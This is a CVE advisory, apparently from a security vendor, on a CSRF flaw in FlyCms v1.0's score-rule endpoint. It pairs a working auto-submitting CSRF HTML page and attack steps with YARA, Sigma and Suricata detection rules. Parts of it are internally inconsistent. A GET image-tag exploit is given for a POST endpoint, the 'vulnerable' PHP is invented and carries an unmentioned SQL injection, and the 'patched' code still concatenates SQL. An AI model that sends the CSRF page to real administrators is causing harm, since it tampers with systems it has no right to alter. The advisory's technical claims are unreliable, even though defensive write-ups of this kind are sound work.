CVE-2024-22601

Executive Summary

CVE-2024-22601 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/score/scorerule_save endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly submitting a malicious request, leading to unauthorized changes to score rules. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is real in the context of social engineering. No official patch or exploit code is publicly available at this time.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (FlyCms). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Vector: UNKNOWN
• Attack Vector: Network (requires user interaction)
• Attack Complexity: Low
• Privileges Required: High (admin session)
• User Interaction: Required (admin must click a crafted link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High (score rules can be modified)
• Availability Impact: None

Threat Level: Medium (due to required user interaction but high integrity impact)

Deep Dive & Mechanics

The vulnerability resides in the scorerule_save function of FlyCms v1.0. The endpoint /system/score/scorerule_save does not implement anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page or image tag that, when loaded by an authenticated admin, sends a POST request to modify score rules. The request is processed as if coming from the legitimate admin, allowing unauthorized changes to scoring logic.

Root Cause: Lack of CSRF protection (no token, no SameSite cookie attribute, no Referer/Origin check).

Attack Flow:

1. Attacker identifies a FlyCms admin session.
2. Attacker crafts a malicious link (e.g., <img src="http://target.com/system/score/scorerule_save?score=100">).
3. Admin clicks the link while logged in.
4. The browser sends the request with the admin's session cookie.
5. Server processes the request, modifying score rules.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0):

// /system/score/scorerule_save.php (simplified)
<?php
session_start();
// No CSRF token check
$score = $_POST['score'];
// Update database
$db->query("UPDATE score_rules SET value='$score' WHERE id=1");
?>

Patched Code (Hypothetical):

<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
$score = intval($_POST['score']); // Input sanitization
$db->query("UPDATE score_rules SET value='$score' WHERE id=1");
?>

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: FlyCms v1.0 running on Apache/Nginx with PHP.
• Attacker machine: Kali Linux with a simple HTTP server.

Exploit Steps:

1. Host a malicious HTML page:

<html>
<body>
<h1>Click me!</h1>
<form action="http://target.com/system/score/scorerule_save" method="POST" id="csrf">
  <input type="hidden" name="score" value="999">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Send the link to an authenticated admin (e.g., via email).
3. Once clicked, the score rule is changed to 999.

No Exploit-DB code provided.

Blue Team (Defender)

Detection:

• Monitor for unexpected POST requests to /system/score/scorerule_save without a valid Referer header.
• Alert on multiple rapid requests to this endpoint from a single IP.

Mitigation:

• Implement CSRF tokens in all forms.
• Set SameSite=Strict on session cookies.
• Validate Origin/Referer headers.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /system/score/scorerule_save with unusual parameters (e.g., score=999).
  • Referer header missing or from an external domain.
• Host:
  • Unexpected changes to score rules in the database.
  • Log entries showing admin actions without corresponding UI interaction.

Detection Engineering

YARA Rule

rule flycms_csrf_cve_2024_22601 {
    meta:
        description = "Detects CSRF exploitation attempts against FlyCms score rule endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-22601"
    strings:
        $endpoint = "/system/score/scorerule_save"
        $score_param = "score="
    condition:
        $endpoint and $score_param
}

Sigma Rule

title: FlyCms CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to FlyCms score rule endpoint without proper Referer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/system/score/scorerule_save*'
    filter:
        cs-referer: 'http://target.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from same origin
level: high

Suricata Rule

alert http any any -> any any (msg:"FlyCms CSRF Exploit CVE-2024-22601"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/system/score/scorerule_save"; http.referer; content:!"http://target.com"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Add CSRF tokens to all forms, especially /system/score/scorerule_save.
2. Short-term: Set session cookies with SameSite=Strict and HttpOnly flags.
3. Long-term: Upgrade to a patched version of FlyCms (if available) or migrate to a supported CMS.
4. Monitoring: Enable logging for all POST requests to sensitive endpoints and alert on anomalies.

Valters IT
Securing digital frontiers, one CVE at a time.